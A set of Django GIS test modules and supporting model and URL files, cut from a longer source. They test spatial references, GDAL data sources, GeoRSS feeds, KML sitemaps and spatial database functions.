                        self.assertEqual(expected, srs[attr])

    def test07_boolean_props(self):
        "Testing the boolean properties."
        for s in srlist:
            srs = SpatialReference(s.wkt)
            self.assertEqual(s.projected, srs.projected)
            self.assertEqual(s.geographic, srs.geographic)

    def test08_angular_linear(self):
        "Testing the linear and angular units routines."
        for s in srlist:
            srs = SpatialReference(s.wkt)
            self.assertEqual(s.ang_name, srs.angular_name)
            self.assertEqual(s.lin_name, srs.linear_name)
            self.assertAlmostEqual(s.ang_units, srs.angular_units, 9)
            self.assertAlmostEqual(s.lin_units, srs.linear_units, 9)

    def test09_authority(self):
        "Testing the authority name & code routines."
        for s in srlist:
            if hasattr(s, 'auth'):
                srs = SpatialReference(s.wkt)
                for target, tup in s.auth.items():
                    self.assertEqual(tup[0], srs.auth_name(target))
                    self.assertEqual(tup[1], srs.auth_code(target))

    def test10_attributes(self):
        "Testing the attribute retrieval routines."
        for s in srlist:
            srs = SpatialReference(s.wkt)
            for tup in s.attr:
                att = tup[0]  # Attribute to test
                exp = tup[1]  # Expected result
                self.assertEqual(exp, srs[att])

    def test11_wellknown(self):
        "Testing Well Known Names of Spatial References."
        for s in well_known:
            srs = SpatialReference(s.wk)
            self.assertEqual(s.name, srs.name)
            for tup in s.attrs:
                if len(tup) == 2:
                    key = tup[0]
                    exp = tup[1]
                elif len(tup) == 3:
                    key = tup[:2]
                    exp = tup[2]
                self.assertEqual(srs[key], exp)

    def test12_coordtransform(self):
        "Testing initialization of a CoordTransform."
        target = SpatialReference('WGS84')
        CoordTransform(SpatialReference(srlist[0].wkt), target)

    def test13_attr_value(self):
        "Testing the attr_value() method."
        s1 = SpatialReference('WGS84')
        with self.assertRaises(TypeError):
            s1.__getitem__(0)
        with self.assertRaises(TypeError):
            s1.__getitem__(('GEOGCS', 'foo'))
        self.assertEqual('WGS 84', s1['GEOGCS'])
        self.assertEqual('WGS_1984', s1['DATUM'])
        self.assertEqual('EPSG', s1['AUTHORITY'])
        self.assertEqual(4326, int(s1['AUTHORITY', 1]))
        self.assertIsNone(s1['FOOBAR'])

    def test_unicode(self):
        wkt = (
            'PROJCS["DHDN / Soldner 39 Langschoß",'
            'GEOGCS["DHDN",DATUM["Deutsches_Hauptdreiecksnetz",'
            'SPHEROID["Bessel 1841",6377397.155,299.1528128,AUTHORITY["EPSG","7004"]],AUTHORITY["EPSG","6314"]],'
            'PRIMEM["Greenwich",0,AUTHORITY["EPSG","8901"]],'
            'UNIT["degree",0.01745329251994328,AUTHORITY["EPSG","9122"]],'
            'AUTHORITY["EPSG","4314"]],UNIT["metre",1,AUTHORITY["EPSG","9001"]],'
            'PROJECTION["Cassini_Soldner"],PARAMETER["latitude_of_origin",50.66738711],'
            'PARAMETER["central_meridian",6.28935703],PARAMETER["false_easting",0],'
            'PARAMETER["false_northing",0],AUTHORITY["mj10777.de","187939"],AXIS["x",NORTH],AXIS["y",EAST]]'
        )
        srs = SpatialReference(wkt)
        srs_list = [srs, srs.clone()]
        srs.import_wkt(wkt)

        for srs in srs_list:
            self.assertEqual(srs.name, 'DHDN / Soldner 39 Langschoß')
            self.assertEqual(srs.wkt, wkt)
            self.assertIn('Langschoß', srs.pretty_wkt)
            self.assertIn('Langschoß', srs.xml)












import os
import unittest
from unittest import skipUnless

from django.contrib.gis.gdal import HAS_GDAL

from ..test_data import TEST_DATA, TestDS, get_ds_file

if HAS_GDAL:
    from django.contrib.gis.gdal import DataSource, Envelope, OGRGeometry, GDALException, OGRIndexError, GDAL_VERSION
    from django.contrib.gis.gdal.field import OFTReal, OFTInteger, OFTString

    # List of acceptable data sources.
    ds_list = (
        TestDS(
            'test_point', nfeat=5, nfld=3, geom='POINT', gtype=1, driver='ESRI Shapefile',
            fields={'dbl': OFTReal, 'int': OFTInteger, 'str': OFTString},
            extent=(-1.35011, 0.166623, -0.524093, 0.824508),  # Got extent from QGIS
            srs_wkt=(
                'GEOGCS["GCS_WGS_1984",DATUM["WGS_1984",SPHEROID["WGS_1984",'
                '6378137,298.257223563]],PRIMEM["Greenwich",0],UNIT["Degree",'
                '0.017453292519943295]]'
            ),
            field_values={
                'dbl': [float(i) for i in range(1, 6)],
                'int': list(range(1, 6)),
                'str': [str(i) for i in range(1, 6)],
            },
            fids=range(5)
        ),
        TestDS(
            'test_vrt', ext='vrt', nfeat=3, nfld=3, geom='POINT', gtype='Point25D',
            driver='OGR_VRT' if GDAL_VERSION >= (2, 0) else 'VRT',
            fields={
                'POINT_X': OFTString,
                'POINT_Y': OFTString,
                'NUM': OFTString,
            },  # VRT uses CSV, which all types are OFTString.
            extent=(1.0, 2.0, 100.0, 523.5),  # Min/Max from CSV
            field_values={
                'POINT_X': ['1.0', '5.0', '100.0'],
                'POINT_Y': ['2.0', '23.0', '523.5'],
                'NUM': ['5', '17', '23'],
            },
            fids=range(1, 4)
        ),
        TestDS(
            'test_poly', nfeat=3, nfld=3, geom='POLYGON', gtype=3,
            driver='ESRI Shapefile',
            fields={'float': OFTReal, 'int': OFTInteger, 'str': OFTString},
            extent=(-1.01513, -0.558245, 0.161876, 0.839637),  # Got extent from QGIS
            srs_wkt=(
                'GEOGCS["GCS_WGS_1984",DATUM["WGS_1984",SPHEROID["WGS_1984",'
                '6378137,298.257223563]],PRIMEM["Greenwich",0],UNIT["Degree",'
                '0.017453292519943295]]'
            ),
        )
    )

bad_ds = (TestDS('foo'),)


@skipUnless(HAS_GDAL, "GDAL is required")
class DataSourceTest(unittest.TestCase):

    def test01_valid_shp(self):
        "Testing valid SHP Data Source files."

        for source in ds_list:
            # Loading up the data source
            ds = DataSource(source.ds)

            # Making sure the layer count is what's expected (only 1 layer in a SHP file)
            self.assertEqual(1, len(ds))

            # Making sure GetName works
            self.assertEqual(source.ds, ds.name)

            # Making sure the driver name matches up
            self.assertEqual(source.driver, str(ds.driver))

            # Making sure indexing works
            with self.assertRaises(OGRIndexError):
                ds[len(ds)]

    def test02_invalid_shp(self):
        "Testing invalid SHP files for the Data Source."
        for source in bad_ds:
            with self.assertRaises(GDALException):
                DataSource(source.ds)

    def test03a_layers(self):
        "Testing Data Source Layers."
        for source in ds_list:
            ds = DataSource(source.ds)

            # Incrementing through each layer, this tests DataSource.__iter__
            for layer in ds:
                # Making sure we get the number of features we expect
                self.assertEqual(len(layer), source.nfeat)

                # Making sure we get the number of fields we expect
                self.assertEqual(source.nfld, layer.num_fields)
                self.assertEqual(source.nfld, len(layer.fields))

                # Testing the layer's extent (an Envelope), and its properties
                self.assertIsInstance(layer.extent, Envelope)
                self.assertAlmostEqual(source.extent[0], layer.extent.min_x, 5)
                self.assertAlmostEqual(source.extent[1], layer.extent.min_y, 5)
                self.assertAlmostEqual(source.extent[2], layer.extent.max_x, 5)
                self.assertAlmostEqual(source.extent[3], layer.extent.max_y, 5)

                # Now checking the field names.
                flds = layer.fields
                for f in flds:
                    self.assertIn(f, source.fields)

                # Negative FIDs are not allowed.
                with self.assertRaises(OGRIndexError):
                    layer.__getitem__(-1)
                with self.assertRaises(OGRIndexError):
                    layer.__getitem__(50000)

                if hasattr(source, 'field_values'):
                    fld_names = source.field_values.keys()

                    # Testing `Layer.get_fields` (which uses Layer.__iter__)
                    for fld_name in fld_names:
                        self.assertEqual(source.field_values[fld_name], layer.get_fields(fld_name))

                    # Testing `Layer.__getitem__`.
                    for i, fid in enumerate(source.fids):
                        feat = layer[fid]
                        self.assertEqual(fid, feat.fid)
                        # Maybe this should be in the test below, but we might as well test
                        # the feature values here while in this loop.
                        for fld_name in fld_names:
                            self.assertEqual(source.field_values[fld_name][i], feat.get(fld_name))

    def test03b_layer_slice(self):
        "Test indexing and slicing on Layers."
        # Using the first data-source because the same slice
        # can be used for both the layer and the control values.
        source = ds_list[0]
        ds = DataSource(source.ds)

        sl = slice(1, 3)
        feats = ds[0][sl]

        for fld_name in ds[0].fields:
            test_vals = [feat.get(fld_name) for feat in feats]
            control_vals = source.field_values[fld_name][sl]
            self.assertEqual(control_vals, test_vals)

    def test03c_layer_references(self):
        """
        Ensure OGR objects keep references to the objects they belong to.
        """
        source = ds_list[0]

        # See ticket #9448.
        def get_layer():
            # This DataSource object is not accessible outside this
            # scope.  However, a reference should still be kept alive
            # on the `Layer` returned.
            ds = DataSource(source.ds)
            return ds[0]

        # Making sure we can call OGR routines on the Layer returned.
        lyr = get_layer()
        self.assertEqual(source.nfeat, len(lyr))
        self.assertEqual(source.gtype, lyr.geom_type.num)

        # Same issue for Feature/Field objects, see #18640
        self.assertEqual(str(lyr[0]['str']), "1")

    def test04_features(self):
        "Testing Data Source Features."
        for source in ds_list:
            ds = DataSource(source.ds)

            # Incrementing through each layer
            for layer in ds:
                # Incrementing through each feature in the layer
                for feat in layer:
                    # Making sure the number of fields, and the geometry type
                    # are what's expected.
                    self.assertEqual(source.nfld, len(list(feat)))
                    self.assertEqual(source.gtype, feat.geom_type)

                    # Making sure the fields match to an appropriate OFT type.
                    for k, v in source.fields.items():
                        # Making sure we get the proper OGR Field instance, using
                        # a string value index for the feature.
                        self.assertIsInstance(feat[k], v)

                    # Testing Feature.__iter__
                    for fld in feat:
                        self.assertIn(fld.name, source.fields.keys())

    def test05_geometries(self):
        "Testing Geometries from Data Source Features."
        for source in ds_list:
            ds = DataSource(source.ds)

            # Incrementing through each layer and feature.
            for layer in ds:
                for feat in layer:
                    g = feat.geom

                    # Making sure we get the right Geometry name & type
                    self.assertEqual(source.geom, g.geom_name)
                    self.assertEqual(source.gtype, g.geom_type)

                    # Making sure the SpatialReference is as expected.
                    if hasattr(source, 'srs_wkt'):
                        self.assertEqual(
                            source.srs_wkt,
                            # Depending on lib versions, WGS_84 might be WGS_1984
                            g.srs.wkt.replace('SPHEROID["WGS_84"', 'SPHEROID["WGS_1984"')
                        )

    def test06_spatial_filter(self):
        "Testing the Layer.spatial_filter property."
        ds = DataSource(get_ds_file('cities', 'shp'))
        lyr = ds[0]

        # When not set, it should be None.
        self.assertIsNone(lyr.spatial_filter)

        # Must be set a/an OGRGeometry or 4-tuple.
        with self.assertRaises(TypeError):
            lyr._set_spatial_filter('foo')

        # Setting the spatial filter with a tuple/list with the extent of
        # a buffer centering around Pueblo.
        with self.assertRaises(ValueError):
            lyr._set_spatial_filter(list(range(5)))
        filter_extent = (-105.609252, 37.255001, -103.609252, 39.255001)
        lyr.spatial_filter = (-105.609252, 37.255001, -103.609252, 39.255001)
        self.assertEqual(OGRGeometry.from_bbox(filter_extent), lyr.spatial_filter)
        feats = [feat for feat in lyr]
        self.assertEqual(1, len(feats))
        self.assertEqual('Pueblo', feats[0].get('Name'))

        # Setting the spatial filter with an OGRGeometry for buffer centering
        # around Houston.
        filter_geom = OGRGeometry(
            'POLYGON((-96.363151 28.763374,-94.363151 28.763374,'
            '-94.363151 30.763374,-96.363151 30.763374,-96.363151 28.763374))'
        )
        lyr.spatial_filter = filter_geom
        self.assertEqual(filter_geom, lyr.spatial_filter)
        feats = [feat for feat in lyr]
        self.assertEqual(1, len(feats))
        self.assertEqual('Houston', feats[0].get('Name'))

        # Clearing the spatial filter by setting it to None.  Now
        # should indicate that there are 3 features in the Layer.
        lyr.spatial_filter = None
        self.assertEqual(3, len(lyr))

    def test07_integer_overflow(self):
        "Testing that OFTReal fields, treated as OFTInteger, do not overflow."
        # Using *.dbf from Census 2010 TIGER Shapefile for Texas,
        # which has land area ('ALAND10') stored in a Real field
        # with no precision.
        ds = DataSource(os.path.join(TEST_DATA, 'texas.dbf'))
        feat = ds[0][0]
        # Reference value obtained using `ogrinfo`.
        self.assertEqual(676586997978, feat.get('ALAND10'))






from __future__ import unicode_literals

from xml.dom import minidom

from django.conf import settings
from django.contrib.sites.models import Site
from django.test import (
    TestCase, modify_settings, override_settings, skipUnlessDBFeature,
)

from .models import City


@modify_settings(INSTALLED_APPS={'append': 'django.contrib.sites'})
@override_settings(ROOT_URLCONF='gis_tests.geoapp.urls')
@skipUnlessDBFeature("gis_enabled")
class GeoFeedTest(TestCase):
    fixtures = ['initial']

    def setUp(self):
        Site(id=settings.SITE_ID, domain="example.com", name="example.com").save()

    def assertChildNodes(self, elem, expected):
        "Taken from syndication/tests.py."
        actual = set(n.nodeName for n in elem.childNodes)
        expected = set(expected)
        self.assertEqual(actual, expected)

    def test_geofeed_rss(self):
        "Tests geographic feeds using GeoRSS over RSSv2."
        # Uses `GEOSGeometry` in `item_geometry`
        doc1 = minidom.parseString(self.client.get('/feeds/rss1/').content)
        # Uses a 2-tuple in `item_geometry`
        doc2 = minidom.parseString(self.client.get('/feeds/rss2/').content)
        feed1, feed2 = doc1.firstChild, doc2.firstChild

        # Making sure the box got added to the second GeoRSS feed.
        self.assertChildNodes(feed2.getElementsByTagName('channel')[0],
                              ['title', 'link', 'description', 'language',
                               'lastBuildDate', 'item', 'georss:box', 'atom:link']
                              )

        # Incrementing through the feeds.
        for feed in [feed1, feed2]:
            # Ensuring the georss namespace was added to the <rss> element.
            self.assertEqual(feed.getAttribute('xmlns:georss'), 'http://www.georss.org/georss')
            chan = feed.getElementsByTagName('channel')[0]
            items = chan.getElementsByTagName('item')
            self.assertEqual(len(items), City.objects.count())

            # Ensuring the georss element was added to each item in the feed.
            for item in items:
                self.assertChildNodes(item, ['title', 'link', 'description', 'guid', 'georss:point'])

    def test_geofeed_atom(self):
        "Testing geographic feeds using GeoRSS over Atom."
        doc1 = minidom.parseString(self.client.get('/feeds/atom1/').content)
        doc2 = minidom.parseString(self.client.get('/feeds/atom2/').content)
        feed1, feed2 = doc1.firstChild, doc2.firstChild

        # Making sure the box got added to the second GeoRSS feed.
        self.assertChildNodes(feed2, ['title', 'link', 'id', 'updated', 'entry', 'georss:box'])

        for feed in [feed1, feed2]:
            # Ensuring the georsss namespace was added to the <feed> element.
            self.assertEqual(feed.getAttribute('xmlns:georss'), 'http://www.georss.org/georss')
            entries = feed.getElementsByTagName('entry')
            self.assertEqual(len(entries), City.objects.count())

            # Ensuring the georss element was added to each entry in the feed.
            for entry in entries:
                self.assertChildNodes(entry, ['title', 'link', 'id', 'summary', 'georss:point'])

    def test_geofeed_w3c(self):
        "Testing geographic feeds using W3C Geo."
        doc = minidom.parseString(self.client.get('/feeds/w3cgeo1/').content)
        feed = doc.firstChild
        # Ensuring the geo namespace was added to the <feed> element.
        self.assertEqual(feed.getAttribute('xmlns:geo'), 'http://www.w3.org/2003/01/geo/wgs84_pos#')
        chan = feed.getElementsByTagName('channel')[0]
        items = chan.getElementsByTagName('item')
        self.assertEqual(len(items), City.objects.count())

        # Ensuring the geo:lat and geo:lon element was added to each item in the feed.
        for item in items:
            self.assertChildNodes(item, ['title', 'link', 'description', 'guid', 'geo:lat', 'geo:lon'])

        # Boxes and Polygons aren't allowed in W3C Geo feeds.
        with self.assertRaises(ValueError):  # Box in <channel>
            self.client.get('/feeds/w3cgeo2/')
        with self.assertRaises(ValueError):  # Polygons in <entry>
            self.client.get('/feeds/w3cgeo3/')






from django.utils.encoding import python_2_unicode_compatible

from ..models import models
from ..utils import gisfield_may_be_null


@python_2_unicode_compatible
class NamedModel(models.Model):
    name = models.CharField(max_length=30)

    objects = models.GeoManager()

    class Meta:
        abstract = True
        required_db_features = ['gis_enabled']

    def __str__(self):
        return self.name


class Country(NamedModel):
    mpoly = models.MultiPolygonField()  # SRID, by default, is 4326


class CountryWebMercator(NamedModel):
    mpoly = models.MultiPolygonField(srid=3857)


class City(NamedModel):
    point = models.PointField()

    class Meta:
        app_label = 'geoapp'
        required_db_features = ['gis_enabled']


# This is an inherited model from City
class PennsylvaniaCity(City):
    county = models.CharField(max_length=30)
    founded = models.DateTimeField(null=True)

    class Meta:
        app_label = 'geoapp'
        required_db_features = ['gis_enabled']


class State(NamedModel):
    poly = models.PolygonField(null=gisfield_may_be_null)  # Allowing NULL geometries here.

    class Meta:
        app_label = 'geoapp'
        required_db_features = ['gis_enabled']


class Track(NamedModel):
    line = models.LineStringField()


class MultiFields(NamedModel):
    city = models.ForeignKey(City, models.CASCADE)
    point = models.PointField()
    poly = models.PolygonField()

    class Meta:
        required_db_features = ['gis_enabled']


class UniqueTogetherModel(models.Model):
    city = models.CharField(max_length=30)
    point = models.PointField()

    class Meta:
        unique_together = ('city', 'point')
        required_db_features = ['gis_enabled', 'supports_geometry_field_unique_index']


class Truth(models.Model):
    val = models.BooleanField(default=False)

    class Meta:
        required_db_features = ['gis_enabled']


class Feature(NamedModel):
    geom = models.GeometryField()


class MinusOneSRID(models.Model):
    geom = models.PointField(srid=-1)  # Minus one SRID.

    class Meta:
        required_db_features = ['gis_enabled']


class NonConcreteField(models.IntegerField):

    def db_type(self, connection):
        return None

    def get_attname_column(self):
        attname, column = super(NonConcreteField, self).get_attname_column()
        return attname, None


class NonConcreteModel(NamedModel):
    non_concrete = NonConcreteField()
    point = models.PointField(geography=True)






from __future__ import unicode_literals

from django.conf.urls import url
from django.contrib.gis import views as gis_views
from django.contrib.gis.sitemaps import views as gis_sitemap_views
from django.contrib.sitemaps import views as sitemap_views

from .feeds import feed_dict
from .sitemaps import sitemaps

urlpatterns = [
    url(r'^feeds/(?P<url>.*)/$', gis_views.feed, {'feed_dict': feed_dict}),
]

urlpatterns += [
    url(r'^sitemaps/(?P<section>\w+)\.xml$', sitemap_views.sitemap, {'sitemaps': sitemaps}),
]

urlpatterns += [
    url(r'^sitemaps/kml/(?P<label>\w+)/(?P<model>\w+)/(?P<field_name>\w+)\.kml$',
        gis_sitemap_views.kml,
        name='django.contrib.gis.sitemaps.views.kml'),
    url(r'^sitemaps/kml/(?P<label>\w+)/(?P<model>\w+)/(?P<field_name>\w+)\.kmz$',
        gis_sitemap_views.kmz,
        name='django.contrib.gis.sitemaps.views.kmz'),
]






from __future__ import unicode_literals

import zipfile
from io import BytesIO
from xml.dom import minidom

from django.conf import settings
from django.contrib.sites.models import Site
from django.test import (
    TestCase, modify_settings, override_settings, skipUnlessDBFeature,
)

from .models import City, Country


@modify_settings(INSTALLED_APPS={'append': ['django.contrib.sites', 'django.contrib.sitemaps']})
@override_settings(ROOT_URLCONF='gis_tests.geoapp.urls')
@skipUnlessDBFeature("gis_enabled")
class GeoSitemapTest(TestCase):

    def setUp(self):
        super(GeoSitemapTest, self).setUp()
        Site(id=settings.SITE_ID, domain="example.com", name="example.com").save()

    def assertChildNodes(self, elem, expected):
        "Taken from syndication/tests.py."
        actual = set(n.nodeName for n in elem.childNodes)
        expected = set(expected)
        self.assertEqual(actual, expected)

    def test_geositemap_kml(self):
        "Tests KML/KMZ geographic sitemaps."
        for kml_type in ('kml', 'kmz'):
            doc = minidom.parseString(self.client.get('/sitemaps/%s.xml' % kml_type).content)

            # Ensuring the right sitemaps namespace is present.
            urlset = doc.firstChild
            self.assertEqual(urlset.getAttribute('xmlns'), 'http://www.sitemaps.org/schemas/sitemap/0.9')

            urls = urlset.getElementsByTagName('url')
            self.assertEqual(2, len(urls))  # Should only be 2 sitemaps.
            for url in urls:
                self.assertChildNodes(url, ['loc'])

                # Getting the relative URL since we don't have a real site.
                kml_url = url.getElementsByTagName('loc')[0].childNodes[0].data.split('http://example.com')[1]

                if kml_type == 'kml':
                    kml_doc = minidom.parseString(self.client.get(kml_url).content)
                elif kml_type == 'kmz':
                    # Have to decompress KMZ before parsing.
                    buf = BytesIO(self.client.get(kml_url).content)
                    with zipfile.ZipFile(buf) as zf:
                        self.assertEqual(1, len(zf.filelist))
                        self.assertEqual('doc.kml', zf.filelist[0].filename)
                        kml_doc = minidom.parseString(zf.read('doc.kml'))

                # Ensuring the correct number of placemarks are in the KML doc.
                if 'city' in kml_url:
                    model = City
                elif 'country' in kml_url:
                    model = Country
                self.assertEqual(model.objects.count(), len(kml_doc.getElementsByTagName('Placemark')))






from __future__ import unicode_literals

import re
from decimal import Decimal

from django.contrib.gis.db.models import functions
from django.contrib.gis.geos import LineString, Point, Polygon, fromstr
from django.contrib.gis.measure import Area
from django.db import connection
from django.db.models import Sum
from django.test import TestCase, skipUnlessDBFeature
from django.utils import six

from ..utils import mysql, oracle, postgis, spatialite
from .models import City, Country, CountryWebMercator, State, Track


@skipUnlessDBFeature("gis_enabled")
class GISFunctionsTests(TestCase):
    """
    Testing functions from django/contrib/gis/db/models/functions.py.
    Several tests are taken and adapted from GeoQuerySetTest.
    Area/Distance/Length/Perimeter are tested in distapp/tests.

    Please keep the tests in function's alphabetic order.
    """
    fixtures = ['initial']

    def test_asgeojson(self):
        # Only PostGIS and SpatiaLite support GeoJSON.
        if not connection.ops.geojson:
            with self.assertRaises(NotImplementedError):
                list(Country.objects.annotate(json=functions.AsGeoJSON('mpoly')))
            return

        pueblo_json = '{"type":"Point","coordinates":[-104.609252,38.255001]}'
        houston_json = (
            '{"type":"Point","crs":{"type":"name","properties":'
            '{"name":"EPSG:4326"}},"coordinates":[-95.363151,29.763374]}'
        )
        victoria_json = (
            '{"type":"Point","bbox":[-123.30519600,48.46261100,-123.30519600,48.46261100],'
            '"coordinates":[-123.305196,48.462611]}'
        )
        chicago_json = (
            '{"type":"Point","crs":{"type":"name","properties":{"name":"EPSG:4326"}},'
            '"bbox":[-87.65018,41.85039,-87.65018,41.85039],"coordinates":[-87.65018,41.85039]}'
        )
        if spatialite:
            victoria_json = (
                '{"type":"Point","bbox":[-123.305196,48.462611,-123.305196,48.462611],'
                '"coordinates":[-123.305196,48.462611]}'
            )

        # Precision argument should only be an integer
        with self.assertRaises(TypeError):
            City.objects.annotate(geojson=functions.AsGeoJSON('point', precision='foo'))

        # Reference queries and values.
        # SELECT ST_AsGeoJson("geoapp_city"."point", 8, 0)
        # FROM "geoapp_city" WHERE "geoapp_city"."name" = 'Pueblo';
        self.assertEqual(
            pueblo_json,
            City.objects.annotate(geojson=functions.AsGeoJSON('point')).get(name='Pueblo').geojson
        )

        # SELECT ST_AsGeoJson("geoapp_city"."point", 8, 2) FROM "geoapp_city"
        # WHERE "geoapp_city"."name" = 'Houston';
        # This time we want to include the CRS by using the `crs` keyword.
        self.assertEqual(
            houston_json,
            City.objects.annotate(json=functions.AsGeoJSON('point', crs=True)).get(name='Houston').json
        )

        # SELECT ST_AsGeoJson("geoapp_city"."point", 8, 1) FROM "geoapp_city"
        # WHERE "geoapp_city"."name" = 'Houston';
        # This time we include the bounding box by using the `bbox` keyword.
        self.assertEqual(
            victoria_json,
            City.objects.annotate(
                geojson=functions.AsGeoJSON('point', bbox=True)
            ).get(name='Victoria').geojson
        )

        # SELECT ST_AsGeoJson("geoapp_city"."point", 5, 3) FROM "geoapp_city"
        # WHERE "geoapp_city"."name" = 'Chicago';
        # Finally, we set every available keyword.
        self.assertEqual(
            chicago_json,
            City.objects.annotate(
                geojson=functions.AsGeoJSON('point', bbox=True, crs=True, precision=5)
            ).get(name='Chicago').geojson
        )

    @skipUnlessDBFeature("has_AsGML_function")
    def test_asgml(self):
        # Should throw a TypeError when trying to obtain GML from a
        # non-geometry field.
        qs = City.objects.all()
        with self.assertRaises(TypeError):
            qs.annotate(gml=functions.AsGML('name'))
        ptown = City.objects.annotate(gml=functions.AsGML('point', precision=9)).get(name='Pueblo')

        if oracle:
            # No precision parameter for Oracle :-/
            gml_regex = re.compile(
                r'^<gml:Point srsName="SDO:4326" xmlns:gml="http://www.opengis.net/gml">'
                r'<gml:coordinates decimal="\." cs="," ts=" ">-104.60925\d+,38.25500\d+ '
                r'</gml:coordinates></gml:Point>'
            )
        else:
            gml_regex = re.compile(
                r'^<gml:Point srsName="EPSG:4326"><gml:coordinates>'
                r'-104\.60925\d+,38\.255001</gml:coordinates></gml:Point>'
            )

        self.assertTrue(gml_regex.match(ptown.gml))

        if postgis:
            self.assertIn(
                '<gml:pos srsDimension="2">',
                City.objects.annotate(gml=functions.AsGML('point', version=3)).get(name='Pueblo').gml
            )

    @skipUnlessDBFeature("has_AsKML_function")
    def test_askml(self):
        # Should throw a TypeError when trying to obtain KML from a
        # non-geometry field.
        with self.assertRaises(TypeError):
            City.objects.annotate(kml=functions.AsKML('name'))

        # Ensuring the KML is as expected.
        ptown = City.objects.annotate(kml=functions.AsKML('point', precision=9)).get(name='Pueblo')
        self.assertEqual('<Point><coordinates>-104.609252,38.255001</coordinates></Point>', ptown.kml)

    @skipUnlessDBFeature("has_AsSVG_function")
    def test_assvg(self):
        with self.assertRaises(TypeError):
            City.objects.annotate(svg=functions.AsSVG('point', precision='foo'))
        # SELECT AsSVG(geoapp_city.point, 0, 8) FROM geoapp_city WHERE name = 'Pueblo';
        svg1 = 'cx="-104.609252" cy="-38.255001"'
        # Even though relative, only one point so it's practically the same except for
        # the 'c' letter prefix on the x,y values.
        svg2 = svg1.replace('c', '')
        self.assertEqual(svg1, City.objects.annotate(svg=functions.AsSVG('point')).get(name='Pueblo').svg)
        self.assertEqual(svg2, City.objects.annotate(svg=functions.AsSVG('point', relative=5)).get(name='Pueblo').svg)

    @skipUnlessDBFeature("has_BoundingCircle_function")
    def test_bounding_circle(self):
        qs = Country.objects.annotate(circle=functions.BoundingCircle('mpoly')).order_by('name')
        self.assertAlmostEqual(qs[0].circle.area, 168.89, 2)
        self.assertAlmostEqual(qs[1].circle.area, 135.95, 2)

        qs = Country.objects.annotate(circle=functions.BoundingCircle('mpoly', num_seg=12)).order_by('name')
        self.assertAlmostEqual(qs[0].circle.area, 168.44, 2)
        self.assertAlmostEqual(qs[1].circle.area, 135.59, 2)

    @skipUnlessDBFeature("has_Centroid_function")
    def test_centroid(self):
        qs = State.objects.exclude(poly__isnull=True).annotate(centroid=functions.Centroid('poly'))
        tol = 1.8 if mysql else (0.1 if oracle else 0.00001)
        for state in qs:
            self.assertTrue(state.poly.centroid.equals_exact(state.centroid, tol))

        with self.assertRaisesMessage(TypeError, "'Centroid' takes exactly 1 argument (2 given)"):
            State.objects.annotate(centroid=functions.Centroid('poly', 'poly'))

    @skipUnlessDBFeature("has_Difference_function")
    def test_difference(self):
        geom = Point(5, 23, srid=4326)
        qs = Country.objects.annotate(diff=functions.Difference('mpoly', geom))
        # SpatiaLite and Oracle do something screwy with the Texas geometry.
        if spatialite or oracle:
            qs = qs.exclude(name='Texas')

        for c in qs:
            self.assertTrue(c.mpoly.difference(geom).equals(c.diff))

    @skipUnlessDBFeature("has_Difference_function", "has_Transform_function")
    def test_difference_mixed_srid(self):
        """Testing with mixed SRID (Country has default 4326)."""
        geom = Point(556597.4, 2632018.6, srid=3857)  # Spherical mercator
        qs = Country.objects.annotate(difference=functions.Difference('mpoly', geom))
        # SpatiaLite and Oracle do something screwy with the Texas geometry.
        if spatialite or oracle:
            qs = qs.exclude(name='Texas')
        for c in qs:
            self.assertTrue(c.mpoly.difference(geom).equals(c.difference))

    @skipUnlessDBFeature("has_Envelope_function")
    def test_envelope(self):
        countries = Country.objects.annotate(envelope=functions.Envelope('mpoly'))
        for country in countries:
            self.assertIsInstance(country.envelope, Polygon)

    @skipUnlessDBFeature("has_ForceRHR_function")
    def test_force_rhr(self):
        rings = (
            ((0, 0), (5, 0), (0, 5), (0, 0)),
            ((1, 1), (1, 3), (3, 1), (1, 1)),
        )
        rhr_rings = (
            ((0, 0), (0, 5), (5, 0), (0, 0)),
            ((1, 1), (3, 1), (1, 3), (1, 1)),
        )
        State.objects.create(name='Foo', poly=Polygon(*rings))
        st = State.objects.annotate(force_rhr=functions.ForceRHR('poly')).get(name='Foo')
        self.assertEqual(rhr_rings, st.force_rhr.coords)

    @skipUnlessDBFeature("has_GeoHash_function")
    def test_geohash(self):
        # Reference query:
        # SELECT ST_GeoHash(point) FROM geoapp_city WHERE name='Houston';
        # SELECT ST_GeoHash(point, 5) FROM geoapp_city WHERE name='Houston';
        ref_hash = '9vk1mfq8jx0c8e0386z6'
        h1 = City.objects.annotate(geohash=functions.GeoHash('point')).get(name='Houston')
        h2 = City.objects.annotate(geohash=functions.GeoHash('point', precision=5)).get(name='Houston')
        self.assertEqual(ref_hash, h1.geohash)
        self.assertEqual(ref_hash[:5], h2.geohash)

    @skipUnlessDBFeature("has_Intersection_function")
    def test_intersection(self):
        geom = Point(5, 23, srid=4326)
        qs = Country.objects.annotate(inter=functions.Intersection('mpoly', geom))
        for c in qs:
            if spatialite or (mysql and not connection.ops.uses_invalid_empty_geometry_collection) or oracle:
                # When the intersection is empty, some databases return None.
                expected = None
            else:
                expected = c.mpoly.intersection(geom)
            self.assertEqual(c.inter, expected)

    @skipUnlessDBFeature("has_IsValid_function")
    def test_isvalid(self):
        valid_geom = fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 0 0))')
        invalid_geom = fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 1 1, 1 0, 0 0))')
        State.objects.create(name='valid', poly=valid_geom)
        State.objects.create(name='invalid', poly=invalid_geom)
        valid = State.objects.filter(name='valid').annotate(isvalid=functions.IsValid('poly')).first()
        invalid = State.objects.filter(name='invalid').annotate(isvalid=functions.IsValid('poly')).first()
        self.assertIs(valid.isvalid, True)
        self.assertIs(invalid.isvalid, False)

    @skipUnlessDBFeature("has_Area_function")
    def test_area_with_regular_aggregate(self):
        # Create projected country objects, for this test to work on all backends.
        for c in Country.objects.all():
            CountryWebMercator.objects.create(name=c.name, mpoly=c.mpoly)
        # Test in projected coordinate system
        qs = CountryWebMercator.objects.annotate(area_sum=Sum(functions.Area('mpoly')))
        # Some backends (e.g. Oracle) cannot group by multipolygon values, so
        # defer such fields in the aggregation query.
        for c in qs.defer('mpoly'):
            result = c.area_sum
            # If the result is a measure object, get value.
            if isinstance(result, Area):
                result = result.sq_m
            self.assertAlmostEqual((result - c.mpoly.area) / c.mpoly.area, 0)

    @skipUnlessDBFeature("has_MakeValid_function")
    def test_make_valid(self):
        invalid_geom = fromstr('POLYGON((0 0, 0 1, 1 1, 1 0, 1 1, 1 0, 0 0))')
        State.objects.create(name='invalid', poly=invalid_geom)
